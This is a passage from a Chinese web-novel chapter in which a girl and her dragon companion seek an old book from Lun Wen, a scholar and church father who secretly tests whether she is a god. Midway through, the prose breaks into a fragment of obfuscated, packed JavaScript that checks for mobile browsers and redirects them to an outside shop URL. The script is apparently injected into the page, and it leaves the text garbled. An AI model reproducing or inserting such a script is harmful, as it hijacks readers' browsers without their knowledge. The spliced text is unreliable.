“伦叔叔……这样吗……”肖卷卷讲话都快讲不利索了：“那！伦叔叔，我们是科立笃推荐过来的那两位，需要寻找一下治疗心理创伤的办法……” “我明白，你们需要那本古籍。”伦闻了然地点了点头。肖卷卷因为紧张没有抬头，伦闻身高有一米九四，肖卷卷在他面前和迷你版小猫一样。 所以她错过了伦闻眼中一闪而过的、晦暗不明的情绪。 “真不巧，那本古籍呢，前两天收到消息的时候我就开始寻找，可是因为年代过于久远，加上没有什么龙来借阅，现在找起来可能有些困难。” “如果你们能帮忙的话……” 他眼神里不易察觉的阴霾又多了几分。 “好的，我们可以帮忙！”肖卷卷激动地拉起宫修的手，抬起头的一瞬间，伦闻眼中的情绪恢复如初。 “那就太好不过了。”优雅的男人双手合十，在胸口悄悄画了一个十字架。 32. 谁的身上有价值 肖卷卷这一晚，整个人都保持着不可思议的状态。 伦闻实在太友善了，友善到她已经在短短五句话的聊天里鞠了十个躬，这就是和有涵养的人讲话的态度，换成之前那几条龙，这个时候都应该打起来了。 而伦闻呢，尽管是他们求他帮忙，干点什么也是天经地义的，他还给两人提供了非常宽敞的房间，以及美味的晚餐。 “这边请。”举手投足间散发出具有文化底蕴的魅力，肖卷卷不得不承认，老师永远是老师，伦闻那时应该受很多同学的喜爱。 “谢谢您……”肖卷卷拉着宫修的手，跟着伦闻往前走。宫修的手热热的，他沉默着，长长的头发是他的掩护。 自己最近真是太奇怪了，莫名其妙地脸红，莫名其妙地心跳加速，明明自己的身体已经被科立笃治好了，难道这也是心理作用吗？ “不用客气，这都是应该的。”伦闻眯起的眼睛里闪烁着不明状的光芒，宫修突然感觉到了一丝异样的气息，他猛地抬头，什么都没有看到。 难道自己的直觉出错了？ 与此同时，在前方带路的伦闻嘴角扯出一丝勉强的笑容。 这条龙的直觉到底有多敏锐？！ 龙对于周围环境的威胁感知度和精准度各不相同，宫修不仅能感觉到周围环境散发出来的隐隐危险气息，还能精准定位是哪里的祸端。 棕色头发的男人迟疑了片刻，他现在最好的做法是暂时和这一人一龙分开，虽然要研究肖卷卷，既然是抓紧她在身边的时间比较好…… 根据科立笃的描述，肖卷卷是凭空出现在这个世界上的生物，她的来历，目的，以及出现的原因，都值得深入探讨和研究。 男人又在自己的胸口画了个十字。 从前，伦闻一心搞科研和教书育人，他相信这个世界上所有的东西都可以用科学解释，当然，这里指龙界的科学。 但是当他继续向上研究，研究到某一个点时，才发现事情变得古怪起来。 很多事情并不能用所谓科学解释，龙界出现了各种各样诡异的现象，突然出现的人类也许是上天的指示。 伦闻开始相信，这个世界上真是有神灵的。 他因此成为了教会的教父，虔诚参拜这个世界的神明。 如果这个女孩是神明的化身，他一定不能放过这个了解神明内心的机会。 先拖住她，看看她究竟有什么样的魔力。 …… “修，我们好久没有这样睡在一张床上了！”宫修怀疑肖卷卷其实根本就没有长大，和其他人睡一张床有什么好激动的。 他酷酷地靠在床边，半眯着眼睛打盹。 真是的，和人一起生活久了，睡眠都变得规律起来，居然每天到了这点也会犯困。 真不知道这是退化还是进化。 他不知道的是，肖卷卷现在正认真地端详他的脸庞，同时注意到了宫修不太自然的刘海。 “诶？你头发长了，我帮你剪剪呗？” 肖卷卷巧使连环计，宫修误上断头台。 “我……我……”怎么办，剪了头发别人就能看出他脸红，不剪头发要用什么理由搪塞肖卷卷。宫修犹豫之际，肖卷卷手起刀落，已经剪掉了一小撮头发。 “不要心疼嘛，把额头露出来才精神呢。” 不是露不露额头的关系啊喂！宫修的脸已经变成了一颗西红柿。 好在肖卷卷的粗心大意也是有好处的，比如说，她现在完全没有意识到宫修的脸不自然地红着，就算意识到了，她也不知道宫修的脸究竟为谁而红。 “这边来一刀，那边来一刀……”龙嘛，对自己的发型也不是特别讲究，肖卷卷勉强剪出了个形状来： “害，和给朋友家的狗修毛一模一样，我已经悟了！” 你悟什么了少女，请看看面前人的脸吧。 剪完头发，两人又打闹了一会，肖卷卷终于肯躺在床上安安稳稳睡觉了。 宫修对于肖卷卷一直是包容的态度。在他看来，人类闹一闹，就和在人类眼里，小猫闹一闹是一样的，没什么值得大惊小怪。 反正龙可以很多个月都不睡觉，他也不急着休息。 只是今天伦闻的异常，还是让宫修起了疑心。 直觉告诉他，这个人并不像肖卷卷想的那样善良。 这样一个有心机城府的人，愿意很快答应他们的请求，其中一定有些蹊跷。 …… “好了伦叔叔，你具体需要我们干些什么呢？” 干劲满满的肖卷卷撸起袖子，准备应对伦闻提出来的疑难杂症了。 “你们既然想要那本古籍，而那本古籍现在找不到，那就帮我整理一下图书馆里的图书吧。”伦闻又一次很抱歉地笑了笑。 “我记得古籍是在三楼，可是三楼的书是最乱的，因为那里的书很少被龙所翻阅，整理起来有些难度。” “如果你们在整理的过程当中找到了那本古籍，就带回去给科立笃看吧，他会找到治疗你的朋友心理创伤的方法的。” 伦闻一边说，一边观察肖卷卷脸上的表情。 他加入的教会并不是空穴来风，据说有人在十几年前真的见到了“神”，并且与神交谈了一会。也正是因此，这个教会是龙界最大的教会，作为教父的伦闻甚至是龙界非常权威的科学家。 教会传下来的“记载”中写到，神是一个非常可爱的女性，身高和体重不详，这一点教会并没有记载，但是据教会的人说，神是拥有“席卷一切”的能力的。 既然拥有席卷一切的能力，整理书籍应该不在话下。 果然，肖卷卷的脸色变都没变，毅然决然地答应了下来。 “没问题！三楼就交给我们了！” 她会有席卷一切的能力吗？这也许可以验证她是不是所谓的神。 肖卷卷和宫修走到三楼，伦闻在身后悄悄跟着他们观察，两个人边说边动手，一本一本地把书放到该放的位置。 棕色头发的男人脸上的表情有些失落，他因为不再年轻而变得骨相分明的脸也随之抽动了一下。 看来，这次是他想错了。 肖卷卷并不是“神”。 男人悄然离去，肖卷卷什么都没发现，还在和宫修抱怨，说龙界也有素质不高的龙。 “借了书怎么都不还好啊……”肖卷卷气鼓鼓的脸像一只河豚，宫修看着她的侧脸，莫名分泌出口水。 “如果他们都放好了的话，我们现在找起来就没有那么麻烦了……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819365|190145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“是这样的……”宫修在一旁附和，其实肖卷卷说的什么他完全没有听进去，只看到肖卷卷的脸一鼓一鼓。 男人离去的那一刻，宫修时刻盯着后方的注意力才放松下来。 “修，你说，伦叔叔到底是好龙还是坏龙呢。” 从伦闻离开他们开始，宫修和肖卷卷就没有再说话。肖卷卷突然莫名其妙地来了一句，把宫修惊的抖了一下。 难道她也注意到了伦闻其实在盯着他们？ 抱歉，肖卷卷可没有这样的警觉性。只是凭借她多年的大厂工作经历和混迹厂内明争暗斗的派系，肖卷卷总觉得伦闻没有看上去那么友善。 也许是她想多了吧…… “多留个心眼总是没错的。”宫修只能这样回答她，原来人类也有敏锐的嗅觉。 是天生就拥有的吗？还是后天锻炼的。 找了一个上午，古籍的影子还没发现，肖卷卷的肚子先饿了。 “修……伦叔叔会给我们提供午餐吗……”面前的女孩垂头丧气，没有东西填饱肚子，人类果然会突然失去干劲。 “一定会的。”伦闻还不至于那么小气，宫修心想。 果然，话音刚落，伦闻的声音又从不知名的方向传来： “两位早上辛苦了，寻找古籍也不是一个上午就能办完的事情，要不先移步餐厅吃点午饭吧。” “好耶！”肖卷卷立刻放下手中的书，窜到宫修的身上，像一只八爪鱼一样抱住他： “走了走了！吃饭去！” 不管怎么样，虽然现在他使不出十成的力气，身体是已经恢复了的。 龙筋的外在条件没有了问题，只是内部不能连通，现在的宫修看起来没有以前脆皮。 肖卷卷也放心了很多。 人是铁饭是钢，一顿不吃饿的慌。伦闻提供的午餐味道还不错，肖卷卷很爱吃。 在龙界就是这点好，饭的量永远都很大，不会被饿着。 伦闻本来已经对肖卷卷失去了兴趣，他们要是在三天内找不到那本古籍，伦闻就要送他们离开了。 “卷卷，你有没有想过，要是我们寻找那本古籍的时间过长，已经过了治疗的最佳时间该怎么办？” 宫修看着餐盘里的食物，忧心忡忡地问肖卷卷。 他习惯把事情往最坏的方向想，现在这种情况实在不容乐观。 “那就找那时最合适的方法治疗，放心，只要我在一天，就永远不会放弃治好你的！” 肖卷卷拍了拍宫修的肩膀，眼神坚定又勇敢。 “神”拥有世界上最强大的魄力，她虽然是人的身体，却意外地倔强，并且从小聪慧。 伦闻在记载上曾经看到过这句话。 肖卷卷在这方面，的确很接近“神”的形态。 楼上棕色头发的男人停下了脚步，安静看着楼下吃着午饭的肖卷卷和宫修一人一龙，他突然又对肖卷卷产生了一些兴趣。 拥有席卷一切的能力……但是记载中并没有提到，席卷一切所花费的时间。 也许，神席卷一切的速度并不算快？ 而且冥冥之中，伦闻有一种预感，他觉得肖卷卷的行为举止，以及眼里散发出的光芒，如果神真的存在的话，她大概是最接近神的人。